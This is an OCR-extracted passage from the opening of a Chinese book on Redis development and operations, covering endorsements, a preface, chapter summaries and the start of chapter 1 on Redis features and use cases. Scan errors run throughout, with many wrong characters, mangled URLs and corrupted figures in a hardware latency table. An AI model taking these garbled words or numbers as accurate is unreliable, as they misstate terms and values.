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对 本 书 的 赞 党 





我 对 本 书 第 8 章 “ 理 解 内 存 ” 尤 其 关注 ，Redis 是 一 个 “ 准 ” 内 存 数据 库 ， 理 
解 内 存 才能 更 好 地 使 用 。 作 者 对 内 存 的 介绍 做 到 了 深入 浅 出 ， 讲 清楚 了 重要 
的 What、How。 由 于 我 从 事 分 布 式 系统 的 开发 ， 因 此 非常 欣慰 地 看 到 写 底 
层 /infra 领 域 的 书籍 ， 期 待 更 多 这 方面 的 作品 。 写 书 是 非常 六 苗 的 ， 需 要 投 
入 大 量 的 时 间 ， 非 第 感谢 两 位 作者 艰 百 日 绝 的 工作 。 





一 一 刘 奇 ，PingCAP CEO&&TiDB/TiKV 创 始 人 ，Codis 联 合作 者 


近 几 年 ，Redis 风 雄 各 大 氏 互 联网 公司 分 布 式 局 并 肥 系统 。 本 书 是 付 格 
和 张 益 军 在 几 个 大 型 项 目 中 积累 的 Redis 开 发 与 运 维 的 宝贵 经 验 ， 既 有 原理 














功能 使 用 详解 ， 叉 有 实际 踩 坑 排 雷 经 验 分 享 ， 最 后 一 章 对 开源 项 目 
CacheCloud 作 了 详细 的 讲解 ， 是 Redis 开 发 、 运 维 人 员 值 得 收藏 的 好 书 。 





随 着 Redis 变 得 越 来 越 流 行 ， 如 何 有 效 地 部 署 和 运 维 Redis 也 变 得 日 益 重 
要 起 来 。 这 本 书 不 仅 介绍 了 Redis 的 使 用 方法 ， 更 难能可贵 的 是 ， 作 者 在 书 
中 把 使 用 和 维护 Redis 时 经 常会 磁 到 的 问题 一 一 列举 了 出 来 ， 并 给 出 了 相应 
的 解决 方案 。 通 过 了 解 这 些 方案 ， 读 者 可 以 有 效 地 避免 使 用 Redis 时 会 遇 到 
的 一 些 陷 阱 ， 并 学 会 如 何 更 好 地 使 用 Redis。 对 于 所 有 关心 Redis 运 行 效率 和 








可 靠 性 的 开发 者 以 及 运 维 人 员 来 说 ， 这 本 书 都 是 不 容错 过 的 。 


一 ” 黄 健 宏 ，《Redis 设 计 与 实现 》 作 者 





Redis 是 目前 最 流行 的 kv 存 储 。 本 书 从 Redis 的 客户 端 使 用 ， 到 内 部 的 实 
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现 原理 ， 节 后 到 运 维 ， 都 给 出 翔实 的 解决 方案 ， 是 Redis 从 入 门 到 精通 的 一 
本 好 书 。 





陈 宗 志 ，360 基 础 架构 组 撤 术 经 理 ，pika 作 者 


作者 不 仅 详 细 地 介绍 Redis 运 维 经 验 ， 而 且 深 入 浅 出 地 剂 析 底 层 实现 ， 
让 读者 不 仅 知 其 然 ， 也 知 其 所 以 然 。Redis 的 集群 运 维 绝 非 是 一 件 容易 的 事 
儿 ， 读 此 书 ， 可 以 少 走 一 些 弯 路 ， 绕 过 一 些 “ 坑 ”。 


一 一 张 海 雷 ， 优 酷 士 豆 广告 团队 资深 工程 师 





在 大 数据 和 移动 互联 网 的 时 代 ， 应 对 高 并 发 、 低 延 时 的 大 型 系统 ， 
Redis 基 本 是 标 配 组 件 。 这 本 书 涵盖 Redis3.x 版 本 运 维 开发 实战 的 各 个 方面 ， 
其 中 Redis 集 群 、 开 发 运 维 陷 阱 、 绥 存 设 计 和 CacheCloud 章 节 匹 为 精彩 ， 都 
是 出 自 于 付 磊 和 张 益 军 在 搜狐 视频 一 线 运 维 开发 Redis 的 宝贵 实战 经 验 。 相 
信 无 论 是 DBA 还 是 研发 工程 师 都 能 从 本 书 收获 新 的 知识 。 





一 一 日 汝 林 ， 小 米 高 级 DBA 

DevOps 文 化 盛行 ， 开 发 和 运 维 的 界线 越 来 越 模糊 ， 在 Redis 的 实践 中 本 

书 应 运 而 生 。 本 书 通过 Redis 开 发 运 维 详实 的 介绍 ， 结 合 真实 项 目 凝聚 最 佳 
实战 经 验 ， 值 得 细 细 品味 。 





一 一 他 成 武 ， 阿 里 巴巴 技术 专家 
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序言 





近 几 年 ， 随 着 移动 互联 网 的 飞速 有 发展， 我 们 孕 受 着 整个 社会 的 技术 进步 
市 来 的 便利 ， 但 同时 也 给 从 业者 带 来 了 如 何 保证 项 目的 高 并 肥 、 低 延 时 的 技 
术 挑 战 ， 相 应 的 互联 网 技术 也 随 之 发 生 了 重大 变革 ，NoSQL 拉 术 得 到 了 鞍 动 
的 发 展 。Redis 以 其 出 色 的 性 能 、 丰 富 的 功能 、 良 好 的 稳定 性 、 分 布 式 架构 
的 文 持 等 特性 ， 得 到 了 业界 广泛 的 关注 和 应 用 。 军 不 夸张 地 说 ，Redis 已 经 
成 为 IT 互联 网 大 型 系统 的 标 配 ， 熟 练 掌握 Redis 成 为 开发 、 运 维 人 员 的 必 备 
技能 。 


本 书 是 作者 近 三 年 Redis 开 发 运 维 的 经 验 结晶 和 技术 沉淀 ， 书 中 对 于 
Redis 的 相关 知识 做 了 系统 全 面 的 介绍 ， 因 此 ， 可 以 帮助 Redis 初 学 者 快速 入 
门 和 提高 。 同 时 ， 纵 观 全 书 ， 作 者 的 视角 未 局 限于 Redis 本 身 ， 还 融入 了 大 
量 高 并 发 系统 的 设计 、 开 发 及 运 维 调 优 经 验 ， 而 是 深入 浅 出 的 剖析 底层 实 
现 ， 让 读者 不 仅 知 其 然 ， 也 知 其 所 以 然 。 因 此 ， 对 于 有 一 定 Redis 使 用 经 验 
的 从 业者 ， 本 书 也 有 学 习 参 考 价值 。 


两 位 作者 是 搜狐 视频 的 技术 架构 专家 ， 始 终 保持 对 技术 的 热忱 和 严谨 ， 
对 搜狐 视频 大 型 分 布 式 系统 的 技术 选 型 、 架 构 设 计 、 开 发 运 维 提供 了 坚实 的 
保障 。 在 承担 搜狐 视频 个 性 化 推荐 系统 等 多 个 核心 系统 的 设计 开发 运 维 工 作 
期 间 ， 两 位 作者 对 高 并 发 、 低 延 时 的 大 型 分 布 式 系统 积累 了 丰富 的 经 验 ， 其 
中 就 包含 了 大 量 Redis 的 实践 经 验 。 作 为 公司 开发 运 维 的 开拓 者 ， 从 项 目 中 
抽 离 出 Redis 集 群 的 自动 运 维 系统 CacheCloud， 在 公司 内 部 多 个 业务 线 推广 
使 用 ， 积 累 了 丰富 的 Redis 大 规模 集群 的 运 维 优化 经 验 。 所 在 团队 于 2016 年 3 
月 将 该 项 目 在 GitHub 上 开源 ， 由 于 其 具有 快速 部 署 、 全 面 监控 、 一 键 运 维 等 
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特性 ， 一 开源 即 受到 广大 Redis 开 发 运 维 人 员 的 欢迎 和 认可 。 


以 我 对 两 位 作者 的 优秀 技术 素养 的 熟知 ， 及 对 他 们 负责 项 目的 了 解 ， 我 
相信 这 本 书 会 给 大 家 带 来 耳目 一 新 的 感觉 。 感 谢 两 位 作者 对 开源 项 目 
CacheCloud 的 贡献 ， 更 难能可贵 的 是 他 们 将 其 开发 运 维 的 宝 贯 经 验 汇 聚 成 
册 ， 给 我 们 带 来 了 这 样 一 本 好 书 。 


马 义 


搜狐 视频 产品 技术 中 心 总 经 理 、56 网 总 经 理 


2016 年 11 月 
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采写 

Redis 作 为 基于 键 值 对 的 NoSQL 数 据 库 ， 具 有 高 性 能 、 丰 富 的 数据 结 
构 、 持 久 化 、 蜗 可用、 分布 式 等 特性 ， 同 时 Redis 本 里 非常 稳定 ， 已 经 得 到 
业界 的 广泛 认可 和 使 用 。 掌 握 Redis 已 经 逐步 成 为 开发 和 运 维 人 员 的 必 备 技 


能 之 一 。 








本 书 关注 了 Redis 开 发 运 维 的 方方面面 ， 尤 其 对 于 开发 运 维 中 如 何 提高 
效率 、 减 少 可 能 遇 到 的 问题 进行 详细 分 析 ， 但 本 书 不 单单 介绍 怎么 解决 这 些 
问题 ， 而 是 通过 对 Redis 重 要 原理 的 解析 ， 帮 助 开发 运 维 人 员 学 会 找到 问题 
的 方法 ， 以 及 理解 背后 的 原理 ， 从 而 让 开发 运 维 人 员 不 仅 知 其 然 ， 而 且 知 其 
所 以 然 。 





本 书 涵盖 内 容 


第 l 章 ” 初 识 Redis， 和 带领 读者 进入 Redis 的 世界 ， 了 解 它 的 前 世 今 生 、 
众多 特性 、 应 用 场景 、 安 装配 置 、 简 单 使 用 ， 最 后 对 Redis 发 展 过 程 中 的 重 
要 版 本 进行 说 明 ， 可 以 让 读者 对 Redis 有 一 个 全 面 的 认识 。 





第 2 章 ”API 的 理解 和 使 用 ， 全 面 介绍 了 Redis 提 供 的 5 种 数据 结构 字符 串 
(string) 、 哈 希 (hash) 、 列 表 (list) 、 和 集合 (set) 、 有 序 集合 (zset) 的 
数据 模型 、 和 常用 命令 、 典 型 应 用 场景 ， 并 且 每 个 小 节 都 会 给 出 在 Redis 开 发 
过 程 可 能 要 注意 的 坑 和 技巧 。 同 时 本 章 还 会 对 Redis 的 单线 程 处 理 机 制 、 键 
值 管理 做 一 个 全 面 介 绍 ， 通 过 对 这 些 原 理 的 理解 ， 读 者 可 以 在 合适 的 应 用 场 
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景 选择 合适 的 数据 结构 和 命令 进行 开发 ， 有 效 提 高 程序 效率 ， 降 低 可 能 产生 
的 问题 和 隐患 。 





第 3 章 ”小 功能 大 用 处 ， 除 了 5 种 数据 结构 外 ，Redis 还 提供 了 诸如 慢 但 
询 、Redis Shell、Pipeline、Lua 脚 本 、Bitmaps、HyperLogLog、 发 布 订 阅 、 
GEO 等 附加 功能 ， 在 这 些 功 能 的 帮助 下 ，Redis 的 应 用 场景 更 加 丰富 。 


第 4 章 ”客户 端 ， 本 章 重点 关注 Redis 客 户 端的 开发 ， 介 绍 了 Redis 的 客 
户 端 通信 协议 、 详 细 讲 解 了 Java 客 户 端 Jedis 的 使 用 技巧 ， 同 时 通过 从 原理 角 
度 谢 析 在 开发 运 维 中 ， 客 户 端的 监控 和 管理 技巧 ， 最 后 给 出 客户 端 开发 中 常 
见 问题 以 及 案例 讲解 。 





第 5 章 ”持久 化 ，Redis 的 持久 化 功能 有 效 避 免 因 进程 退出 造成 的 数据 丢 
失 问 题 ， 本 章 首 先 介绍 RDB 和 AOF 两 种 持久 化 配置 和 运行 流程 ， 其 次 对 常见 
的 持久 化 问题 进行 定位 和 优化 ， 最 后 结合 Redis 常 见 的 单机 多 实例 部 署 场景 
进行 优化 。 


第 6 章 ”复制 ， 在 分 布 式 系统 中 为 了 解决 日 点 问题 ， 通 常会 把 数据 复制 
多 个 副本 部 团 到 其 他 机 器 ， 用 于 故障 恢复 和 负载 均衡 等 需求 ，Redis 也 是 如 
此 。 它 为 我 们 提供 了 复制 〈replication) 功能 ， 实 现 了 多 个 相同 数据 的 Redis 
副本 。 复 制 功 能 是 高 可 用 Redis 的 基础 ， 后 面 章 节 的 哨兵 和 集群 都 是 在 复制 
的 基础 上 实现 高 可 用 。 


第 7 章 ，Redis 的 焉 梦 : 阻塞 ，Redis 是 典型 的 单线 程 架 构 ， 所 有 的 读 写 
操作 都 在 一 条 主线 程 中 完成 的 。 当 Redis 用 于 高 并 发 场景 时 这 条 线程 就 变 成 
了 它 的 生命 线 。 如 果 出 现 阻塞 哪怕 是 很 短 时 间 对 于 我 们 的 应 用 来 说 都 是 址 
梦 。 导 致 阻 蔷 问题 的 场景 大 致 分 为 内 在 原因 和 外 在 原因 ， 本 草 将 进行 详细 分 
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析 。 


第 8 章 ”理解 内 存 ，Redis 所 有 的 数据 存在 于 内 存 中 ， 如 何 高 效 利用 
Redis 内 存 变 得 非常 重要 。 高 效 利 用 Redis 内 存 首先 需要 理解 Redis 内 存 消 耗 在 
哪里 ， 如 何 管理 内 存 ， 最 后 再 深入 到 如 何 优化 内 存 。 掌 握 这 些 知识 后 相信 读 
者 能 够 实现 用 更 少 的 内 存 存储 更 多 的 数据 从 而 降低 成 本 。 


第 9 瘟 ” 哨 兵 ，Redis 从 2.8 版 本 开始 正式 提供 了 Redis Sentinel， 它 有 效 解 
决 了 主 从 复制 模式 下 故障 转移 的 若干 问题 ， 为 Redis 提 供 了 高 可 用 功能 。 本 
章 将 一 步 步 解析 Redis Sentinel 的 相关 概念 、 安 装 部 署 、 配 置 、 命 令 使 用 、 原 
理解 析 ， 最 后 分 析 了 Redis Sentinel 运 维 中 的 一 些 问题 。 





第 10 章 ”集群 ， 是 本 书 的 重头 戏 ，Redis Cluster 是 Redis3 提 供 的 Redis 分 
布 式 解 决 方 案 ， 有 效 解 决 了 Redis 分 布 式 方面 的 需求 ， 理 解 应 用 好 Redis 
Cluster 将 极 大 的 解放 我 们 对 分 布 式 Redis 的 需求 ， 同 时 它 也 是 学 习 分 布 式 存 
储 的 绝 佳 案例 。 本 章 将 针对 RedisCluster 的 数据 分 布 ， 搭 建 集群 ， 节 点 通 
信 ， 请 求 路 由 ， 集 群 伸缩 ， 故 障 转移 等 方面 进行 分 析 说 明 。 





第 ll 章 ”缓存 设计 ， 绥 存 能 够 有 效 加 速 应 用 的 读 写 速度 ， 以 及 降低 后 站 
负载 ， 对 于 开发 人 员 进 行 日 党 应 用 的 开发 至 天 重 要 ， 但 是 将 缓存 加 入 应 用 以 
构 后 也 会 市 来 一 些 问题 ， 本 章 将 介绍 缓存 使 用 和 设计 中 遇 到 的 问题 ， 具 体 包 
括 : 缓存 的 收益 和 成 本 、 组 人 存 更 新 各 略 、 绥 存 粒度 控制 、 罕 透 问题 优化 、 无 
底 调 问题 优化 、 雪 骨 问 题 优化 、 热 点 key 优 化 。 


第 12 章 ”开发 运 维 的 “陷阱 ?”， 介 绍 Redis 开 发 运 维 中 的 一 些 环 手 问 题 ， 
具体 包括 : Linux 配 置 优化 、flush 误 操作 数据 恢复 、 如 何 让 Redis 变 得 安全 、 
bigkey 问 题 、 热 点 key 问 题 。 
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第 13 章 ”Redis 监 控 运 维 云 平台 CacheCloud， 介 绍 笔者 所 在 团队 开源 的 
Redis 运 维 工具 CacheCloud， 它 有 效 解 决 了 Redis 监 控 和 运 维 中 的 一 些 问 题 ， 
本 章 将 按照 快速 部 署 、 机 器 部 署 、 接 入 应 用 、 用 户 功 能 、 运 维 功能 多 个 维度 
全 面 的 介绍 CacheCloud， 相 信和 在 它 的 帮助 下 ， 读 者 可 以 更 好 的 监控 和 运 维 好 
Redis。 


第 14 章 ”Redis 配 置 统计 字典 ， 会 对 Redis 的 系统 状态 信息 以 及 全 部 配置 
做 一 个 全 面 的 梳理 ,希望 本 章 能 够 成 为 Redis 配 置 统计 字典 ， 协 助 大 家 分 析 
和 解决 日 常 开 发 和 运 维 中 过 到 的 问题 。 


目标 读者 


本 书 深入 浅 出 地 介绍 了 Redis 相 关 知 识 ， 因 此 可 以 作为 Redis 新 手 的 入 门 
教程 ， 同 时 本 书 凝 聚 了 两 位 笔者 在 Redis 开 发 运 维 的 多 年 经 验 ， 对 于 需要 进 
一 步 提 高 Redis 开 发 运 维 能 力 的 读者 也 非常 适合 。 读 者 可 以 参考 下 图 ， 结 合 
自身 对 于 开发 运 维 的 需求 进行 阅读 ， 但 笔者 依然 建议 读者 对 每 一 章 都 进行 阅 


De 
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Redis 开发 与 运 维 
开发 运 维 


1 一 


第 1 章 Redis 初 训 























第 2 章 API 的 理解 和 使 用 
第 3 章 ”小 功能 大 用 处 
第 4 章 ” 窒 户 端 
5 章 持久 化 
第 6 章 复制 
第 7 章 有 梦 :阻塞 
第 8 章 
第 9 谭 
第 10| 章 





第 11 章 缕 存 设 3 
第 12 章 | 开发 运 维 的 “陷阱 

第 13 章 Redis 监 腔 运 维 嫩 平 台 CacheCloud | 

第 14| 章 Redis 配置 镜 计 字典 | 
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读者 反馈 和 勘误 


由 于 笔者 能 力 有 限 ， 书 中 难免 会 存在 错误 和 芷 漏 ， 读 者 有 任何 意见 和 建 
议 可 以 通过 发送 邮件 、 网 站 留言 ， 或 者 直接 在 QQ 群 留言 ， 我 们 会 在 第 一 时 
间 进 行 反馈 。 





邮箱 : redis_devops book@163.com 
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网 站 : https://cachecloud.github.io/， 该 网 站 持续 更 新 Redis 开 发 运 维 的 相 
关 知 识 和 经 验 。 


QQ 和 群 : 534429768 
著者 


2016 年 9 月 
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第 1 章 ” 初 识 Redis 


本 章 将 融 领 读者 进入 Redis 的 世界 ， 了 解 它 的 前 世 今 生 、 众 多 特性 、 典 
型 应 用 场景 、 安 装配 置 、 如 何 好 用 等 ， 最 后 会 对 Redis 发 展 过 程 中 的 重要 版 
本 进行 说 明 ， 本 章 主要 内 容 如 下 : 











: 右 赞 Redis 


.Redis 特 性 


.Redis 使 用 场景 


.用 好 Redis 的 建议 


:正确 安装 启动 Redis 


.Redis 重 大 版 本 
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1.1 盛赞 Redis 





Redisl1 是 一 种 基于 键 值 对 〈key-value) 的 NoSQI 数 据 库 ， 与 很 多 键 值 对 
数据 库 不 同 的 是 ，Redis 中 的 值 可 以 是 由 string〈 字 符 串 ) 、hash《〈 哈 希 ) 、 
list〈 列 表 ) 、set (和 集合) 、zset (有 序 集 合 ) 、Bitmaps 〈 位 图 ) 、 
HyperLogLog、GEO 【地理 信 息 定 位 〉 等 多 种 数据 结构 和 算法 组 成 ， 因 此 
Redis 可 以 满足 很 多 的 应 用 场景 ， 而 且 因 为 Redis 会 将 所 有 数据 都 存放 在 内 存 
中 ， 所 以 它 的 读 写 性 能 非常 尺 人 。 不 仅 如 此 ，Redis 还 可 以 将 内 存 的 数据 利 
用 快照 和 日 志 的 形式 保存 到 硬盘 上 ， 这 样 在 发 生 类 似 断 电 或 者 机 器 故障 的 时 
候 ， 内 存 中 的 数据 不 会 丢失 ”。 除 了 上 述 功能 以 外 ，Redis 还 提供 了 键 过 
期 、 发 布 订阅 、 事 务 、 流 水 线 、Lua 脚 本 等 附加 功能 。 总 之 ， 如 果 在 合适 的 
场景 使 用 好 Redis， 它 就 会 像 一 把 瑞士 军刀 一 样 所 向 披 摩 。 








2008 年 ，Redis 的 作者 Salvatore SanfilippoD2 在 开发 一 个 叫 LLOOGG 的 网 
站 时 ， 需 要 实现 一 个 高 性 能 的 队列 功能 ， 最 开始 是 使 用 MySQL 来 实现 的 ， 
但 后 来 发 现 无 论 怎么 优化 SQL 语句 都 不 能 使 网 站 的 性 能 提高 上 去 ， 再 加 上 自 
己 赛 中 闫 汲 ， 于 是 他 决定 自己 做 一 个 专属 于 LLOOGG 的 数据 库 ， 这 个 就 是 
Redis 的 前 身 。 后 来 ，Salvatore Sanfilippo 将 Redis1.0 的 源码 开放 到 GitHubl”1 
上 ， 可 能 连 他 自己 都 没 想到 ，Redis 后 来 如 此 受 欢迎 。 





假如 现在 有 人 问 Redis 的 作者 都 有 谁 在 使 用 Redis， 我 想 他 可 以 开 句 玩笑 
的 回答 : 还 有 谁 不 使 用 Redis， 当 然 这 只 是 开玩笑 ， 但 是 从 Redis 的 官方 公司 
统计 来 看 ， 有 很 多 重量 级 的 公司 都 在 使 用 Redis， 如 国外 的 Twitter、 
Instagram、Stack Overflow、GitHub 等 ， 国 内 就 更 多 了 ， 如 果 单 单 从 体 量 来 统 
计 ， 新 浪 微 博 可 以 说 是 全 球 最 大 的 Redis 使 用 者 ， 除 了 新 浪 微 博 ， 还 有 像 阿 
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里 巴巴 、 腾 讯 、 百 度 、 搜 狐 、 优 酷 士 豆 、 美 团 、 小 米 、 唯 品 会 等 公司 都 是 
Redis 的 使 用 者 。 除 此 之 外 ， 许 多 开源 技术 像 ELK 等 已 经 把 Redis 作 为 它们 组 
件 中 的 重要 一 环 ， 而 且 Redis 会 在 未 来 的 版 本 中 提供 模块 系统 让 第 三 方 人 员 
实现 功能 扩展 ， 让 Redis 发 挥 出 更 大 的 威力 。 所 以 ， 可 以 这 么 说 ， 熟 练 使 用 
和 运 维 Redis 已 经 成 为 开发 运 维 人 员 的 一 个 必 备 技能 。 


[1| http://redis.10 
[2| http://antirez.com 
[3] https://github.conyantirez/redis 
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1.2 ”Redis 特 性 


Redis 之 所 以 受到 如 此 多 公司 的 青睐 ， 必 然 有 之 过 人 之 处 ,下面 是 关于 


Redis 的 8 个 重要 特性 。 
1. 速 度 快 


正常 情况 下 ，Redis 执 行 命令 的 速度 非 第 快 ， 官 方 给 出 的 数字 是 读 写 性 
能 可 以 达到 10 万 / 秒 ， 当 然 这 也 取决 于 机 器 的 性 能 ， 但 这 里 先 不 讨论 机 强 性 
能 上 的 差异 ， 只 分 析 一 下 是 什么 造就 了 Redis 除 此 之 快 的 速度 ， 可 以 大 致 归 
纳 为 以 下 四 后 : 








:Redis 的 所 有 数据 都 是 存放 在 内 存 中 的 ， 表 1-1 是 谷歌 公司 2009 年 给 出 的 
各 层级 硬件 执行 速度 ， 所 以 把 数据 放 在 内 存 中 是 Redis 速 度 快 的 最 主要 原 
区 |s 





“Redis 是 用 C 语 言 实现 的 ， 一 般 来 说 C 语 言 实现 的 程序 “距离 ”操作 系统 更 
近 ， 执 行 速度 相对 会 更 快 。 


"Redis 使 用 了 单线 程 染 构 ， 预 防 了 多 线程 可 能 产生 的 苋 争 问题 。 


:作者 对 于 Redis 源 代码 可 以 说 是 精 打 细 磨 ， 曾 经 有 人 评价 Redis 是 少 有 的 
集 性 能 和 优雅 于 一 身 的 开源 代码 。 


表 1-1 谷歌 公司 给 出 的 各 层级 硬件 执行 速度 
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层 级 速 度 


L1 cache reference 0.5ns 
Branch mispredict Sns 
L2 cache reference Tns 
Mutex lock/unlock 25ns 
Main memory reference 100ns 
Compress 1K bytes with Zippy 3 000ns 
Send 2K bytes over 1 Gbps network 20 000ns 
Read 1 MB sequentially from Memory 250 000ns 
Round trip within same datacenter 500 000ns 
Disk seek 10 000 000ns 
Read 1 MB sequentially from disk 20 000 000ns 
Send backet CA->Netherlands->CA 150 000 000ns 


2. 基 于 键 值 对 的 数据 结构 服务 器 





几乎 所 有 的 编程 语言 都 提供 了 类 似 字典 的 功能 ， 例 如 Java 里 的 map、 
Python 里 的 dict， 类 似 于 这 种 组 织 数 据 的 方式 叫 作 基于 键 值 的 方式 ， 与 很 多 
键 值 对 数据 库 不 同 的 是 ，Redis 中 的 值 不 仅 可 以 是 字符 串 ， 而 且 还 可 以 是 具 
体 的 数据 结构 ， 这 样 不 仅 能 便于 在 许多 应 用 场景 的 开发 ， 同 时 也 能 够 提高 
发 效率 。Redis 的 全 称 是 REmote Dictionary Server， 它 主要 提供 了 5 种 数据 结 
构 : 字符 串 、 哈 希 、 列 表 、 集 合 、 有 序 集合 ， 同 时 在 字符 串 的 基础 之 上 演变 
出 了 位 图 〈Bitmaps) 和 HyperLogLog 两 种 神奇 的 “数据 结构 ”， 并 且 随 着 
LBS (Location Based Service， 基 于 位 置 服务 ) 的 不 断 发 展 ，Redis3.2 版 本 中 
加 入 有 关 GEO (地理 信息 定位 〉 的 功能 ， 总 之 在 这 些 数据 结构 的 帮助 下 ， 开 
发 者 可 以 开发 出 各 种 “有 意思 ”的 应 用 。 








3: 直 定 的 功能 


除了 5 种 数据 结构 ，Redis 还 提供 了 许多 额外 的 功能 : 


提供 了 键 过 期 功能 ， 可 以 用 来 实现 缓存 。 
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提供 了 发 布 订阅 功能 ， 可 以 用 来 实现 消息 系统 。 
文 持 Lua 脚 本 功能 ， 可 以 利用 Lua 创 造 出 新 的 Redis 命 令 。 
提供 了 简单 的 事务 功能 ， 能 在 一 定 程度 上 保证 事务 特性 。 


.提供 了 流水 线 (Pipeline) 功能 ， 这 样 客户 端 能 将 一 批 命令 一 次 性 传 到 
Redis， 减 少 了 网 络 的 开销 。 


4. 人 简单 稳定 





Redis 的 简单 主要 表现 在 三 个 方面 。 首 先 ，Redis 的 源码 很 少 ， 早 期 版 本 
的 代码 只 有 2 万 行 左 右 ，3.0 版 本 以 后 由 于 添加 了 集群 特性 ， 代 码 增 至 5 万 行 
左右 ， 相 对 于 很 多 NoSQL 数 据 库 来 说 代码 量 相对 要 少 很 多 ， 也 就 意味 着 普通 
的 开发 和 运 维和 人 员 完 全 可 以 “吃透 "* 它 。 其 次 ，Redis 使 用 单线 程 模型 ， 这 样 
不 仅 使 得 Redis 服 务 端 处 理 模型 变 得 简单 ， 而 且 也 使 得 客户 端 开 发 变 得 简 
单 。 最 后 ，Redis 不 需要 依赖 于 操作 系统 中 的 类 库 〈 例 如 Memcache 需 要 依赖 
libevent 这 样 的 系统 类 库 ) ，Redis 自 己 实现 了 事件 处 理 的 相关 功能 。 








Redis 虽 然 很 简单 ， 但 是 不 代表 筷 不 稳定 。 以 笔者 维护 的 上 千 个 Redis 为 
例 ， 没 有 出 现 过 因为 Redis 自 身 bug 而 罕 掉 的 情况 。 


.客户 端 语言 多 








Redis 提 供 了 简单 的 TCP 通 信 协 议 ， 很 多 编程 语言 可 以 很 方便 地 接 入 到 
Redis， 并 且 由 于 Redis 受 到 社区 和 各 大 公司 的 广泛 认可 ， 所 以 支持 Redis 的 客 
户 端 语言 也 非常 多 ， 几 乎 涵盖 了 主流 的 编程 语言 ， 例 如 Java、PHP、 
Python、C、C++、Nodejs 等 目 ， 第 4 章 我 们 将 对 Redis 的 客户 端 进行 详细 说 
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明 。 


6. 持 久 化 





通常 看 ， 将 数据 放 在 内 存 中 是 不 安全 的 ， 一 旦 发 生 断 电 或 者 机 器 故障 ， 
重要 的 数据 可 能 就 会 丢失 ， 因 此 Redis 提 供 了 两 种 持久 化 方式 : RDB 和 
AOF， 即 可 以 用 两 种 策略 将 内 存 的 数据 保存 到 硬盘 中 《如 图 1-1 所 示 ) ， 这 
样 就 保证 了 数据 的 可 持久 性 ， 第 5 章 我 们 将 对 Redis 的 持久 化 进行 详细 说 明 。 

















Redis 
RDB | AOF 
万 | mm | 之 
图 1-1 Redis 内 存 到 磁盘 的 持久 化 
7. 主 从 复制 


Redis 提 供 了 复制 功能 ， 实 现 了 多 个 相同 数据 的 Redis 副 本 〈 如 图 1-2 所 
示 ) ， 复 制 功能 是 分 布 式 Redis 的 基础 。 第 6 章 我 们 将 对 Redis 的 复制 进行 详 
细 说 明 。 
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图 1-2 ”Redis 主 从 复制 架构 


8. 高 可 用 和 分 布 式 


Redis 从 2.8 版 本 正式 提供 了 高 可 用 实现 Redis Sentinel， 它 能 够 保证 Redis 
节点 的 故障 发 现 和 故障 自动 转移 。Redis 从 3.0 版 本 正式 提供 了 分 布 式 实现 
Redis Cluster， 它 是 Redis 真 正 的 分 布 式 实现 ， 提 供 了 高 可 用 、 读 写 和 容量 的 
扩展 性 。 
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[1| http:/redis.io/clients 
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1.3 Redis 使 用 场景 


上 节 我 们 已 经 了 解 了 Redis 的 知 干 个 特性 ， 本 节 来 看 一 下 Redis 的 典型 应 
用 场景 有 哪些 ? 
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1.3.1 Redis 可 以 做 什么 


1: 组 在 





缓存 机 制 几乎 在 所 有 的 大 型 网 站 都 有 使 用 ， 合 理 地 使 用 缓存 不 仅 可 以 加 
快 数据 的 访问 速度 ， 而 且 能 够 有 效 地 降低 后 端 数据 源 的 压力 。Redis 提 供 了 
键 值 过 期 时 间 设 置 ， 并 且 也 提供 了 灵活 控制 最 大 内 存 和 内 存 洲 出 后 的 淘汰 和 
略 。 可 以 这 么 次 ， 一 个 合理 的 缓存 设计 能 够 为 一 个 网 站 的 稳定 保 四 护航。 第 
11 革 将 对 缓存 的 设计 与 使 用 进行 详细 说 明 。 





2. 排 行 榜 系 统 


排行 榜 系 统 几乎 存在 于 所 有 的 网 站 ， 例 如 按照 热度 排名 的 排行 榜 ， 按 照 
发 布 时 间 的 排行 榜 ， 按 照 各 种 复杂 维度 计算 出 的 排行 榜 ，Redis 提 供 了 列表 
和 有 序 集 合 数据 结构 ， 合 理 地 使 用 这 些 数据 结构 可 以 很 方便 地 构建 各 种 排行 
榜 系 统 。 





3. 计 数 喜 应 用 


计数 器 在 网 站 中 的 作用 至 关 重 要 ， 例 如 视频 网 站 有 播放 数 、 电 商 网 站 有 
浏览 数 ， 为 了 保证 数据 的 实时 性 ， 每 一 次 播放 和 浏览 都 要 做 加 1 的 操作 ， 如 
果 并 发 量 很 大 对 于 传统 关系 型 数据 的 性 能 是 一 种 挑战 。Redis 天 然 支 持 计数 
功能 而 且 计数 的 性 能 也 非常 好 ， 可 以 说 是 计数 需 系 统 的 重要 选择 。 


4. 社 交 网 络 





赞 / 踩 、 粉 丝 、 共 同好 友 / 避 好、 推送、 下 拉 刷 新 等 是 社交 网 站 的 必 备 功 
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能 ， 由 于 社交 网 站 访问 量 通 常 比较 大 ， 而 且 传 统 的 关系 型 数据 不 太 适合 保 存 
这 种 类 型 的 数据 ，Redis 提 供 的 数据 结构 可 以 相对 比较 容易 地 实现 这 些 功 


全 已 
月 上 。 





.消息 队 列 系统 


消息 队列 系统 可 以 说 是 一 个 大 型 网 站 的 必 备 基础 组 件 ， 因 为 其 具有 业务 
解 耦 、 非 实时 业务 削 峰 等 特性 。Redis 提 供 了 发 布 订 阅 功能 和 阻塞 队列 的 功 
E， 虽 然 和 专业 的 消 恩 队列 比 还 不 够 足够 强大 ， 但 是 对 于 一 般 的 消 轧 队列 功 
E 基 本 可 以 满足 。 
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1.3.2 Redis 不 可 以 做 什么 


实际 上 和 任何 一 门 技术 一 样 ， 每 个 技术 都 有 上 自己 的 应 用 场景 和 边界 ， 也 
就 是 说 Redis 并 不 是 万 金 油 ， 有 很 多 适合 它 解决 的 问题 ， 但 是 也 有 很 多 不 合 
适 它 解 决 的 问题 。 我 们 可 以 站 在 数据 规模 和 数据 冷 热 的 角度 来 进行 分 析 。 








站 在 数据 规模 的 角度 看 ， 数 据 可 以 分 为 大 规模 数据 和 小 规模 数据 ， 我 们 
知道 Redis 的 数据 是 存放 在 内 存 中 的 ， 虽然 现在 内 存 已 经 足够 便宜 ， 但 是 如 
果 数 据 量 非 第 大 ， 例 如 每 天 有 几 亿 的 用 户 行 为 数据 ， 使 用 Redis 来 存储 的 
话 ， 基 本 上 是 个 无 确 洞 ， 经 济 成 本 相当 的 蜗 。 

















站 在 数据 冷 热 的 角度 看 ， 数 据 分 为 热 数 据 和 次数 据 ， 热 数据 通常 是 指 需 
